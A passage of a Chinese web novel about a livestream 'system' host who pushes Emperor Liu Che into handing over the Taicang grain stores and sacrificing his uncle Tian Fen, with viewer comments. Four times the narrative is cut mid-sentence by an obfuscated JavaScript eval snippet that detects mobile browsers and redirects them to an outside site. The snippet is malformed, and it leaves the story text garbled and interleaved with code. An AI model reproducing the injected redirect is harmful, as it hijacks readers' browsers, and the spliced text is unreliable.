长安城人口五十万,这些粮食足够供养整个长安城一整年,足够刘彻发动一次二十万骑兵级别的北伐远征。 封建时代,没有什么花里胡哨的民生数据,衡量一个国家基础国力的就是最简单的粮食储备数目,救灾,平叛,出兵,封赏,样样都用粮食衡量。 每有天灾降世,满朝朱紫都要轰轰烈烈吵一架,恨不得在未央宫中打起来,关于开仓救灾的争论整理起来能堆满刘彻的书案。 这原本不应该是一个问题,那毕竟是刘彻治下的人口,是一个帝国最大的财富,赈灾是应有之道,是大义之为。 可是朝堂诸公更明白太仓之粮不可轻动,那是真真正正的国之重器,动则有灭国之祸! 如今这一顿饭,无论林音要的是三牲六畜,金银财宝,还是山珍海味,哪怕国之大宴,刘彻立刻就会答应下来,眨一下眼都算他这个皇帝气量狭小,不堪托付神器。 可太仓之粮这种东西,除非刘彻疯了,不然他不可能答应林音,更不可能把全部的太仓之粮一把交给林音。 不,就算刘彻疯了,这种事也做不到,这汉室江山说是刘家天下,可朝堂上下那么多眼睛也不是摆设,刘彻真要接受这么个疯狂的条款,等同于拉着所有人一起去死。 没人甘心赴死的,他们会起来反抗,所有人都联合到一起……他在皇帝的位置上待不到明天早上。 “这不可能的……”系统近乎呻吟道。 “这不可能的……”刘彻也在呻吟。 他感到眩晕,几乎站立不住,踉跄着要往后退。 金灿灿的麦田近在咫尺,被如此热烈的颜色簇拥在最中心,刘彻却只觉得寒冷。 他害怕了,想要逃离这里,从小时候起他就知道自己是太子,长大之后要当皇帝,他生下来就要登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456936|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临天下,不知道也从来没想过皇帝以外的人生是什么模样。 但现在他的宝座摇摇欲坠,他要摔下去了,摔得粉身碎骨……只有傻子才会主动送死,这天下没有人是傻子,他当然更不可能是傻子。 玄女看着他。 林音看着他。 她好像没看出刘彻眼睛里的抗拒,只是慢条斯理地伸出手,手里抓着一把麦穗,每一根都粗壮饱满,沉甸甸的麦穗压弯了长长的麦秆。 刘彻感到一种绝望,试图向她解释,“娘娘容秉,这是不可能的……” 正如系统所说,天下军政和经济的运转都仰赖于太仓粮储,别的不说,没了太仓刘彻连宫中卫尉的粮饷都发不出来。 那么不必等待什么叛乱,什么谋反,卫尉一乱,他这大汉天子就要被乱刀砍成八百块。 这不是临时召开大朝会那种小事儿……是的大朝会现在也只算是小事一桩了,大朝会或许会引发叛乱,但那还需要时间发酵。 可一旦没了太仓之粮,刘彻立刻、马上就会死,而且天下人都会以为他该死! “总会有办法的,你是皇帝不是吗。”林音说。 刘彻忍不住露出苦笑,想说娘娘您太高看我了,我尽管是个皇帝,在凡人中也算是命好,可是您提出的这些要求叫我如何去满足? 他现在真正开始觉出玄女娘娘的高不可攀了,难怪从前从来没听说过哪朝哪代的皇帝有供奉神仙的传闻,原来真正的神仙是如此模样—— “你喜欢这个对不对,上一次你来到这里的时候,一直在盯着它看,还想伸手去摸。”林音把手里的麦穗递给刘彻,慷慨又大方。 刘彻不想去接。 就像传闻中那些上古的谶语,你拿了一些东西,就要付出另一些代价,玄女手上的仙谷当然很好,可是代价呢? 全部的太仓之粮,我不能给她,这是我支付不起的代价,刘彻在心里想。 他前所未有地觉得挫败,觉得自己原来的确不过是一介凡夫俗子。 但林音说,“这种作物叫做小麦,种出来的粮食脱粒之后磨成面粉,可以做出又白又软又甜的馒头,一个馒头可以支撑一个成年人一日所需的热量,亩产九百公斤,也就是三十石……” 刘彻眼珠转动了一下。 林音立刻捕捉到,像捕捉到猎物流血的伤口,她发自内心地笑起来,“我知道了,原来你最在乎这个。” 刘彻咬着牙,坚持不说话。 林音把麦穗再往他手里递。 刘彻额头上开始冒出冷汗,艰难道,“我不可能把太仓之粮全都给你。” 林音说,“亩产三十石。” 刘彻绝望地说,“你不能问我要这个!你要别的我都能给你!” 林音:“亩产三十石。” 刘彻几乎要发疯,要撕扯头发,“给了你我会死,你能明白吗,我会被你害死!” 林音:“亩产三十石。” 刘彻忽然嚎啕大哭,痛哭流涕,心理防线全部崩溃。 他不能骗自己,他就是想要,就是想要这个,她要全部太仓之粮也行,被她害死也行,就是想要,就是想接她手中那一把麦穗! 往好处想想,不就是请她吃一顿饭吗,书中那个陛下能请,他也能请! 12. 吃饭01 林音轻轻把麦穗放在他手上。 他接过了,绝望地收紧手指。 巨大的幸福和巨大的悲痛同时升起,刘彻痛不欲生又幸福到忘乎所以地伏地叩拜,哭到哽咽,语不成调,“拜谢……娘娘……但有所求,莫……莫敢……不从……” “他疯了吧,太仓之粮都能答应给你,三百万石啊?他没事吧?”系统看得也快哭出来了。 林音反过来给它解释,“没关系让刘彻哭吧,参考书里男主请女主吃饭之前也对着镜子流下了一滴眼泪,正常的,都会这样的,哭不坏的!” 系统说,“我不是在真的关心他有没有事……” 姑且不论林音这威逼利诱的手段。 但是,“你哪有麦穗能给刘彻?” “我也没说要给他啊。”林音纳闷。 系统:…… 林音恍然大悟,“你说做梦啊?那梦里肯定管够啊,他什么时候想梦我随时欢迎。” 她比了个“随时待命”的战术手势,“全天候24小时待命,随叫随拉,没有时间限制。” 系统绝望地说,“那大汉咋办啊,天啊,帝国崩塌,乱世启动?虽说风浪越大鱼越贵,但这种事情还是不要啊!” “开玩笑的。”林音正经起来。 她对系统阐述自己的计划,“我要三百万石粮食,你知道是为什么吗?” 系统谨慎地说,“为了吃一顿饭……?” 林音说,“错,是为了输送回末日世界,拯救末世降临时那些遭遇危机的同类!” 系统说,“最后受到伤害的只有刘彻是吗?” “不是的。”林音竟然认真反驳了它,“如果我的计划能够成功,那么我们送回去的粮食,只会翻倍地返还回来,十倍百倍一万倍……刘彻会满意的,他需要的就是这个。” 她温柔而满意地看向刘彻,轻声说,“你是不是以为我不在乎他?你看你又这么误会我。” 系统一边毛骨悚然一边想,别搞,你每次露出这种表情都没好事。 “他是我的同类,是我的合作伙伴,我怎么会不为他考虑呢,他最后会得到很多很多的……比他以为的还要更多!”林音激扬文字,意气风发,语气笃定。 “但愿吧。”系统说着,一股子听天由命的麻木语气,一边看向失魂落魄的刘彻。 刘彻攥着麦穗,已经从地上爬了起来,只是眼神还带一点恍惚,好像还没完全缓过来。 系统很理解,也很同情,这种事情不是说做决定就能决定的,缓不过来很正常。 但是刘彻毕竟是个皇帝,所以他并没有沉溺在情绪中,而是坚强地对林音说,“太仓之粮不可轻动。” 系统心想你还知道太仓之粮不可轻动! “所以还请尊上稍微耐心等待一二。”刘彻释然地出了一口气。 他彻底放下了心中的犹豫,一边思索怎么把太仓之粮神不知鬼不觉地搬出来,一边让林音放宽点时限,俨然已经把林音当成了同谋。 林音教给他一个献祭法阵,“你进入太仓,在地面上画下这个法阵,之后的事情,就不用你管了。” 刘彻惊为天人,双手接过,很激动,“这便是传闻中沟通九天玄女之神的法阵吗!” 其实是用来沟通系统的。 但他这么激动,林音也不泼冷水,转移话题道,“方才你好像提到,你的舅舅?” 刘彻略带茫然地抬头看来。 系统捂住脸心说来了,来了,连吃带拿,既要又要。 林音摆出一副鼓励小宝宝说话的表情,像个幼儿园老师,温柔地看着刘彻,“再多讲给我听一听吧。” 话题转变得太快了,刘彻脸上的茫然还没来得及退去,但脸上已经开始焕发出热烈的光彩,他喃喃了两句,“舅舅,我的舅舅……” 田蚡! 这一瞬间刘彻感动得几乎又要哭出来,突然觉得玄女竟然是如此的贴心和亲切,简直平易近人。 原来娘娘并非是对他的礼物不感兴趣,娘娘只是要先吃饭然后再谈论关于礼物的事情。 很正常,很合理,很对,刘彻有时候找人议事也是这样,先吃饭再谈话。 刘彻打起精神,重新又把田蚡介绍了一遍,“他也如我一般地仰慕娘娘,愿意为娘娘奉献全部,并且他不比我一样俗务繁重,他有大把空闲的好时光!” 这里刘彻暗戳戳地也存着自己的小心思。 他依然对大朝会上那些离奇的剧情耿耿于怀,虽然跟三百万石粮食比起来那好像也不算什么了。 但面子这种东西,能少丢点当然还要少丢点…… 倘若娘娘能够对田蚡感兴趣,那么刘彻就准备在田蚡身上加大力度,提升深度,拓宽广度,对齐颗粒度。 简单来说就是把田蚡丢出去转移玄女的注意力,然后刘彻自己偷偷溜走……大朝会上需要有一个发疯的人,这个人可以是刘彻,为什么不可以是田蚡呢? 哪怕田蚡最终要承担刘彻原定戏份的两倍、十倍也在所不惜。 刘彻理所当然地想——我可是皇帝。 自古以来不就有这样的传统吗,主辱臣死,臣子的存在就是为了给皇帝做事和背锅,两件事加在一起便是分忧。 当然田蚡是他舅舅,对待舅舅他不能这样的狠心,可现在不还没让田蚡去死吗? 更何况,田蚡都是他舅舅了,血脉亲缘割舍不断,田蚡就算为他去死,那也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456937|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该的啊!他们关系那么亲近,舅舅他必然是愿意的! 当然这些其实也不重要,重要的是,刘彻有的是手段让他愿意。 所以刘彻极其激动,热泪盈眶,简直摆出一副清仓大甩卖的架势,极力向林音推销田蚡。 他的努力很有效果。 林音爽快地点头,“田蚡是吧?不错,准了。” 刘彻脸颊霎时绯红,用力点头,“是,谨遵娘娘法旨,必全力以赴,不敢稍有懈怠!” “很好很好,辛苦你了。”林音连连点头。 刘彻一扫颓势,容光焕发,眉眼间的英气灼灼耀眼,仿佛要挥师万里,一统天下,“娘娘明鉴,以我浅薄的见地,我想田蚡他是一个情感真挚到可以引动上天感应的人。” “只要他能见到您,得知您的存在,他一定会为您茶饭不思,日思夜想,他的悲伤如此的强烈,以至于能引得朝野震动,从将军太尉到市井村夫都在为他的痴情而侧目。” 系统忍不住说,【这不就是全世界都在背后议论田蚡是个恋爱脑吗?】 刘彻还没说完,“就连上天也为这份真挚的情感而动容,在田蚡迈出家门的某一个时刻,天降雷霆劈在他身上,所有人都看见这一幕,次日长安城中民议沸腾。” “数月之后举国上下无人不知,此事如风如影一般传遍天下,多年之后所有人提到田蚡时都要感慨,好一个奇男子啊,那一日长安城中雷霆霹雳,震悚天地,原来是因为田蚡他在思念您啊!” 系统:…… 林音大喜,“好,可以,就这么办,我很喜欢!” 对刘彻来说,这就是最大的褒扬! 他不但脸红,而且整个人都红了,再接再厉,“但是我的见识终究还是太短浅了,以我看来,这样浅薄的计划实在配不上您啊,我希望能得到您的指点,使我完善出更惊世骇俗,惊天动地的计划。” 他信誓旦旦,“凡臣我位虽卑微,但我有一颗赤诚的心,还请您万万不要推脱,我已经做好了赴汤蹈火为您做成这件事的准备!” 系统生怕林音听不懂,“刘彻的意思是,田蚡还不够惨,可以再惨一点。你想得出来吗?我感觉差不多了,人也很难想到比想女人想到被雷劈更震撼的剧情了!” 林音轻松道,“啊,原来如此。” 她开开心心,高高兴兴地说,“一次也是劈,两次也是雷,这样,你让他被雷劈三次,做得到吧?” 系统崩溃了,底层逻辑激烈报错,“玛丽苏任务应该是这样的吗?” 直播间也崩溃了: “我好像出现幻觉了……?” “什么烹饪,烹饪什么?” “什么田蚡,田蚡什么?” 13. 吃饭02 直播一直没停,但观众并没听到太多东西。 因为系统内部自带一个屏蔽条约,禁止宿主直接或间接透露任何关于系统和任务的信息。 毕竟不能直接让林音对着直播间说,我,系统宿主,帮我完成玛丽苏任务,我给地球送三百万石粮食。 那不叫做任务,那是作弊。 而且玛丽苏任务这种事,要的就是一个出其不意,解释得太明白,反而不容易收割积分。 所以,在刘彻见林音的时候,系统给林音打了个马赛克。 于是林音说出的话,直播间里的人听不见,就连刘彻说出口的话也被影响到,影影绰绰只能听到一点点。 观众看了半天,知道的就是刘彻拜见玄女,以及刘彻要把田蚡献祭给玄女。 其他更炸裂的内容,他们都没有听到。 但仅仅是这样,已经足够震撼直播间了: “这是要把田蚡献祭了?爸呀大哥,这是西汉不是春秋吧?” “太搞了,怎么还有人做切片,慢放刘彻下跪那个镜头,bgm拜只拜我千秋荒唐这一回,今宵我非殿上那个谁。” “然后bgm还没放完刘彻就又跪下去了是吧。” “那田蚡怎么办?给田蚡配什么bgm?” “bgm:别看我只是一只羊……然后转场切懒羊羊被灰太狼炖锅里那个片段?” “田蚡自己知道自己要被炖了吗?” “大概率还以为领导要重用自己呢。” “家人们谁懂啊?我以为领导要重用我,转头领导跟别人说要重重烹饪我!” “楼上的朋友你听我说,凡事最重要的就是想得开,这怎么不是一种重用呢?” “那想的也太开了!” “重用,指重重地放进锅里煎炸煮用。” “之前说田蚡是刘彻亲舅舅,所以刘彻看见他激动一点也能理解的朋友还在吗,还好吗?” “谢谢关心,目前状况很稳定,心电图一条直线好久了。” “那好像有点死了。” “虽然剧情早已经急转直下,我还是很想问一句,这对吗,历史上是这样的吗?” “当然不是了,但是都这样了就别历史了吧!” “大家对这段剧情接受这么良好这么心平气和是我没想到的……” “官方删弹幕删帖控舆论都明牌了说这些。” “额就是绝对不要说不合适的话,不止是弹幕,别的平台也不要说,我朋友今天在一个邀请制论坛里吐槽了一句……然后号直接炸了,电话打到手机上让我朋友谨言慎行,我们都快吓死了。” “全网控舆论?这剧背景这么大?” “我有别的猜测,但现在这样我不敢说,你不信你可以去试试,希望你能承受那样的后果。” “我作证,我们群里昨天吐槽了一句,群炸了,我们所有人的号都进小黑屋了,再多的就不敢说了……这辈子第一次见这场面,不信的去试试就懂了。” “你们怎么说的都开始邪门起来了!” “我只能说不要急,真相早晚会浮出水面,官方现在未必不是不想公布,估计也是在确认信息真假……以及在想应该怎么公布,说实话心情是很复杂的,没想到有生之年会遇到这种事。” “这种事情,刚刚好发生在这种时候,也算是天命在我,文明之火不绝。总之是好事,大好事,不要太难受了,我们一定会度过这一劫的。” “???到底在说什么啊?全球灵异复苏不带我?” —— 被雷劈……三次? 刘彻猛然悟了。 是啊,他之前一直在想,怎么才能让田蚡身上发生被雷劈更震撼的事儿,怎么才能让玄女娘娘更满意。 想来想去,也很难想到。 但是现在他懂了! 是啊,雷劈一次不够震撼,那就再多来几次嘛。 他情不自禁地代入了那个场景。 假如,他是一个生活在村野之间的隐士高人,性情冷漠,不关注外面的风吹草动。 那么有朝一日,他走过街巷之间,听到村人在谈论,遥远的长安城中有人被雷劈了。 刘彻代入了一下,感觉自己可能径自就走过去了,天雷而已,虽然稀罕,但那又怎样,他可是个隐士高人,他不在乎,不了解,不感兴趣。 但是,同样的一个情况下,假如他听到的消息是,听闻遥远的长安城中,有个帝国公爵因为想女人想到被雷连劈三次! 就算是隐士高人,性情冷漠,也会停下脚步,支楞起耳朵细细地听这件事的来龙去脉,说不定还要主动发问,主动打探。 因为这事它不是稀奇不稀奇的问题,它简直已经到了离奇的境地!自从鸿蒙初分,娲皇补天以来,就从来没听说过有这么离奇的事儿发生在大地上。 八卦一下还不够,说不定当即还要套上驴车,一路往长安来,要亲眼见见这位帝国公爵被雷劈的地方…… 刘彻越想眼神越亮,田蚡被雷劈之后的一系列前后计划也都慢慢在他脑海中成型。 首先是信息的传播,一定要在第一时间把正确的消息传播出去,关键词帝国公爵,被雷劈三次,为了女人。 然后后续的后勤保障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456938|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要跟上,现在很多读书人跟刘彻唱反调,刘彻不喜欢,但是读书人毕竟是个很好的资源,刘彻不舍得浪费。 那么可以把这帮人打发到各地去巡回演讲,就讲田蚡的这段传奇故事,让更多的人都能明白这件事的始末。 最后还要在沿线修路、修遮风挡雨的长亭,给这帮从外地来长安看热闹的人住,然后等他们回家之后再继续传播、扩大这件事的影响范围。 如果系统知道刘彻的这些心理活动,它会叹为观止,不愧是当皇帝的,脑子就是转的快,刘彻这专业水平跟后世专业记者比也不差了。 尤其概括关键词的这份能力,简直可以独立编纂一份花边小报,会往标题上写翘屁嫩男的那种。 但是刘彻是个谦虚的人——指在玄女面前很谦逊,在其他人面前他一般不当人。 所以刘彻并不认为这是自己的聪明才智,他认为都是玄女提点的好,果然不愧是玄女娘娘! 原来这就是高手,这就是大音希声,大巧不工,羚羊挂角,出神入化! 三次雷劈,劈得好啊,这个三字好啊——道生一,一生二,二生三,三生万物——有了田蚡才有雷劈,有了雷劈才有传遍天下,妙啊。 这就是道,刘彻觉得自己悟道了。 他猛猛地点头,“没问题,做得到!等我好消息,必不辱使命!” 系统:…… 林音点了点头,毫无心理负担地认了刘彻的夸奖,并不忘催促,“快点,别让我等太久。” “遵旨!”刘彻说。 系统:…… 原本应该还有直播间的观众跟着系统一起无语。 但是之前已经说过了,林音身上是打了马赛克的。 所以直播间的观众听不到她说话。 他们听到的是被马赛克扭曲过的音效,宛如天音浩荡,一时是昆山玉碎、如鸣环佩,一时又是鹤唳长空、天外来风。妙音不绝,变幻无穷,就中偶有人声,只是飘渺破碎,无从分辨。 像聊斋中所描述神人的宴会,跨凤乘龙,攀云万里,于明月清辉之中举酒弄弦。 地上人浑浑噩噩,不知头顶正有这么一场辉煌的宴会,只偶然从夜风中传来几句破碎的仙音,听来如九霄龙吟。 …… “这就是玄女的声音吗……虽然刘彻疯了,但其实挺理解他的,换我在那个位置我说不定比他还疯。” “区区献祭一个田蚡,好像还挺值的!” “说这种话之前问过田蚡了吗?” “重点难道不是咱们真的见到玄女了吗?妈妈,我在直播间看见九天玄女了!!!” 14. 吃饭03 “之前一直没说过话,内心的想法是刘彻又被骗了吧,就跟历史上那个方士用皮影戏骗刘彻自己能招死人魂魄一样,你彻哥真是永远年轻永远封建永远被骗,没想到这剧导演还挺懂行,把历史上这个梗都拿出来玩了,挺好,挺有喜剧效果。然后现在……” “这下不得不叫一声彻哥了。” “谁在嘲笑彻哥膝盖软?出来说话!” “你笑彻哥太疯癫,彻哥笑你看不穿。” “平心而论,我是把刘彻当成兄弟的,直播间也一直在支持,但是那句话怎么说,又怕兄弟过得苦,又怕兄弟开路虎,之前以为他被骗的时候我一直在为他揪心,谁想到他真开上路虎了啊?!” “心里这个难受劲儿就别提了。” “直播间弹幕控得太严了,论坛里倒是持之以恒地有人说这都是电视剧剧组的阴谋,刘彻自以为自己见到了九天玄女,但事实上九天玄女怎么可能搭理他,然后嗯……” “结果你怎么真的有玄女垂青啊?你怎么配的啊啊啊啊!” “随你们便吧,而我呢,只是一头路人,一片观众,一辆普通人,一块随便弹幕气氛组。” “我真的很想说都现在了还有人持之以恒地认为这就是个电视剧吗?” “那直播间都挂天上了,有点见识的都知道国外天上也都是这个直播间,身在华盛顿特区一抬头头顶上就是刘彻在天上说中文,然后全球这么多国家没有一个敢出来放一个屁的,这还能说是电视剧?” “嗯嗯对,继续说,再多说两句后台先把弹幕删了再把你号封了,十分钟之内专人上门物理意义上把你带走。” “你笑弹幕看不穿,弹幕笑你哪天被带走了家里人都不知道去哪里找……” “那田蚡是非被献祭不可了吗,九天玄女之神是黄帝那个时代的神吧,那会儿祭祀流程我记得不太友好……” 因为马赛克的强力屏蔽作用,直播间没听到刘彻关于田蚡被雷劈的一系列详细计划,只知道刘彻要把田蚡当成祭品献祭掉。 所以现在这些激烈的讨论,也仅仅只围绕刘彻的这个决定。 “你这措辞太委婉了,何止不太友好。” “你可以措辞更激烈点,只要你敢。” “那我不敢。” “不要害我我警告你们,我奶已经上街买香烛贡品了,我们全家都忠心耿耿,信仰坚定,玄女娘娘万岁万岁万万岁!” “公然宣扬那什么信仰,这条评论竟然没被抬?官方幕后控评不是控得很死吗?” “你以为官方控的是什么评?” “我只觉得刘彻干这种事,我个人来讲很能理解。” “那确实很能理解,自古以来都是这样,挑个血统高贵的王亲送到神前侍奉。” “哪里不是还出土过披甲执锐的殷商贵族吗?祭祀仪式上当场服毒死的,死前盛装打扮因为要去神前侍奉。” “那个祭祀的好像是殷商祖先,不是神,神的规格要更高很多。” “殷商那会儿还只是虚空献祭,刘彻这是真确定有个神等着接受他的祭品……不行了说不下去了,除了羡慕没话说,命真好啊你们老刘家。” 直播间听不到的话,刘彻听到了,并在记在了心里,念念不忘,时时回响。 这一夜他做了太多事,又有太多思虑,实在很累。 被玄女从那场梦中推出来之后,他原本应该酣然入睡,也终于可以酣然入睡。 但是刘彻一下子从床上翻了下来,眼睛里全是血丝,却又亮得惊人。 他现在很亢奋,肾上腺素大量分泌,他一点不觉得疲惫,只觉得清醒并且精神百倍,不,或许没那么清醒,盘踞在他脑子里的实在是个疯狂的计划……简直疯到歇斯底里。 所谓皇帝的高位,天子的责任,所有一切全都被他抛诸脑后,剩下的只有玄女。 从现在开始他所作所为,为玄女、也仅仅只为玄女负责。 此时是建元六年,六月七日。 这一夜连雨不停,到了丑时已成瓢泼之势,哗哗水声淹没了鸡鸣,未央宫中却有宦者艰难地涉水穿过长长的宫道。 “陛下手诏,秘令武安侯田蚡觐见,不得延误,若有误,以大逆论,立斩无赦!” 哗哗大雨,淹没了疾驰而出的马蹄声。 …… 清凉殿前,田蚡胆战心惊地爬上长长的踏道。 一整夜他翻来覆去睡不着,眼皮不停跳动,他心里不停念叨凶兆,大凶之兆,险些自己把自己吓死。 果然鸡鸣时分府上来了不速之客,漆黑的骑士带马冲进武安侯府,高举着陛下亲书的手诏。 田蚡几乎是从床上被拖下来的。 前来宣召的天使也没办法,武安侯大人腿软得站不住……最后一群人半扶半抱着把田蚡拖到马上,像驮一袋谷子一样驮进了宫。 刚进了清凉殿田蚡就腿软得站不住,跪在地上一路爬到刘彻面前,哭喊道,“陛下……彻儿啊!” 他不知道今天发生什么事了,但一定不是好事,眼皮跳的他胆战心惊,刘彻的神态也让他胆战心惊,现在只想爬回床上把头埋进被子里再也不伸出来。 是,有时候看起来他胆子大得几乎不要命,那是因为他知道自己不会死,他是刘彻的亲舅舅! 但如果刘彻想让他去死呢? 田蚡不知道怎么形容,他觉得刘彻现在的状态很奇怪,像是换了一个人一样,他隐约觉得现在这个刘彻真有可能让他去死…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456939|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘彻没理会田蚡。 他在写诏书,一封一封又一封,写完了就盖印,举起玉玺啪一下按上去。 这种诏书不经丞相和御史大夫,不走固有章程,完全是刘彻随心所致,是最极致最简洁的天子心意。 田蚡环顾四周,再一次确认清凉殿里没有丞相和御史大夫,刘彻铁了心要朝纲独断,不理会任何人意见。 这事儿倒也不能办,但怎么在这时候办? 起码先花些时间清洗掉窦氏旧臣,比如把丞相换成自己……自家侄儿,到时候刘彻想办什么事,他难道会不长眼的站出来阻拦吗?还不是睁一只眼闭一只眼。 但现在这、这…… “刷拉——”一纸诏书在田蚡面前展开,刘彻一边笔走龙蛇,一边淡淡道,“制诏:以田蚡为丞相,奉诏即行。舅舅,接旨吧。” 田蚡整个人趴在地上,失魂落魄,眼泪飙了出来,“陛下,我是你亲舅舅,你可不能害你舅舅我啊!” 他是想当丞相没错,但这阵仗看起来这丞相不是很正常啊! 刘彻终于腾出心思看他一眼,眼睛里布满血丝,满面笑容温和,“舅舅说的什么话,一家子亲戚,我怎么会害舅舅,是侄儿求舅舅帮我来了。” 田蚡将信将疑。 刘彻还在笑,心里却已经不耐烦了。 这一夜他写了很多诏书,还有很多诏书要写,罢免一些人,下狱一些人,封赏一些人,再杀另一些人全家。 活干得太急太粗糙,后续必定有数不尽的烂账要摆平,但刘彻没办法。 他口口声声说要玄女耐心等候,但他哪敢真的让玄女等! 想要拿走太仓之粮,这是不可能的事,那么就只能想办法把粮食偷走。 只要进入太仓,献祭玄女,然后再封锁消息,就能暂时掩盖住太仓空荡荡的事实。 所以刘彻要在今夜发动一场前所未有的大清洗,只要整个长安城都动起来,水搅得够混,就不会有人在意太仓那里的一场小小动乱。 至于田蚡,他对田蚡说的话字字真诚,他们是亲戚,是一家人啊,他现在有难处,第一时间想到的人当然是舅舅。 他要舅舅帮他,他心里清楚舅舅也只能选择帮他。 无论是后续向玄女奉献祭品,还是现在一把窃走全部的太仓之粮。 “再稍微等最后一会儿。”他站起来,面对清凉殿上新立起来的神牌,在心里轻声默念。 “看着我吧,因为答应你的事情我都会做到,无论是让田蚡被雷劈三次,还是请你吃那顿会让我万劫不复的饭。” 他背对着直播间,所以没有人能看得见他在说什么,纵然有唇语专家也无用武之地。 但是,这不代表直播间就束手无策了。 15.玄女15 它搞不懂一件事。 “不是,刘彻都能随手召唤天雷了!” “是的,我看见了。”林音说。 “那他还能闭着眼叫你玄女娘娘?他这到底算是迷信还是不迷信啊?他甚至不说让你抬手招个雷试试?你还不如他呢吧!” “嗯,招不来。”林音老实说。 系统忽然泄气了,“我对不起你,我也招不来。” “没关系,实力不够道具来凑。”林音安慰它,一边随手丢出去一张引雷符。 跟刘彻丢出去的时候一模一样,符纸在半空中盘旋,逆着风向天上飞,倏忽爆开一团火焰,天色骤然变暗,浓云汇聚,闪电纵横过天际,轰隆隆的雷声随后而来。 刘彻看过来,笑了一下,林音没理他,他自己就又转了回去。 他那个笑容甚至完全是无意识的,就好像自己都没意识到自己在做什么,只是在看到林音的一瞬间,下意识开始谄笑。 林音由衷地说,“确实好玩,来一张吗?这儿还有好多。” 系统连连摆手,雪白汤圆面如菜色,“不了不了,你玩你玩。” 今天的冲击实在太大了,系统敲木鱼的时候都是恍惚的,唯一能感到安慰的,就是直播间并没看到这么癫狂的一幕。 系统的全称是【历史直播之玛丽苏系统】,剔除掉所有形容词之后,它本质上是个直播系统。 因此对于系统来说,最重要的就是直播模块。 林音和刘彻已经管不住了,随便吧。 系统发誓自己要用尽全力维护直播间的清白和纯正!它绝对不准许任何妖魔鬼怪被摄录进直播间! 在这样强大的信念加持下,刚刚第一道天雷劈下来的时候,系统一边懵逼一边硬生生地来了一波出神入化的运镜。 镜头飞快地穿梭过舞剑的、走绳的、倒立的、角抵的、一路掠过种种怪异玄奇的衣冠和道具,最终定格在吐火吞刀那少年腾身而起时翻飞的火红衣角。 是的,刘彻和林音在外面飞符招雷玩的时候,刘彻根本没理会清凉殿内那些耍百戏娶乐的伶人,于是歌舞都不停。 也巧,若非如此,短时间内系统还真很难找到这么合适的素材。 下一秒钟,清凉殿中,那着红衣的少年忽然一跃而起,火红衣角在空中纷飞如重重展开的花瓣,下一刻散开的衣角重新收拢回去,少年在半空中倏忽化为火鹤,羽翼展开在清凉殿中绕梁柱而翻飞,金红色火焰照得整个大殿上像是落了一场辉煌的流星雨。 系统凭借本能及时地调转了镜头,一边抓狂一边心想,还好,还好。 它技术够硬,运镜足够及时,没让直播间看见这活人大变火鹤的震撼一幕! 但此时此刻,直播间其实已经很震撼了。 —— 谢清今年十八岁,上大一。 她成绩很好,个子高挑又漂亮,沉默寡言,总是独来独往,是每个人青春期里都会遇到的那种传说中的校花学姐。 你只能隔着人群远远看着她,就像看着一个美丽的传说。 谢清平时也会听到同学在身后的议论,说她高傲,说她冷漠,说她跟所有人都不一样,那么格格不入。 谢清只是沉默着走过,从来不做任何回应,懒得多说一个字,简直像古代的公主一样傲慢……但是现在她狰狞地敲着键盘,因为打字太慢所以开了语音输入,毫无形象地大声叫嚣着跟人对喷。 一切的起因是十分钟之前,谢清在家庭群里刷到的那个切片视频。 身为高冷校花,谢清有着与外表一样不近人情的高雅爱好,她从来不看任何碎片化信息流的社交媒体,每天除了上课就是练功。 是的,练功。 学校里风传谢清其实是什么隐世家族的大小姐,大多数人听了只是一笑,这个时代哪里还有什么隐世家族? 但其实这个说法并不错,至少不完全错,谢清家里的确有一份古老的传承,古老到可以一直追溯到东汉年间,一些治疗外伤内伤的药丸药酒,以及一份吐火吞刀的手艺。 谢清今年十八岁,可以连翻十八个空翻,也可以用脚尖立在巴掌大的木桩上一个小时,还可以拿一把剑在十秒钟之内舞出十一个剑花。 有时候谢清也对家里的那份传承生出疑惑。 流传下来的笔记中记录先人可以凭空吐火,吞吐刀剑。 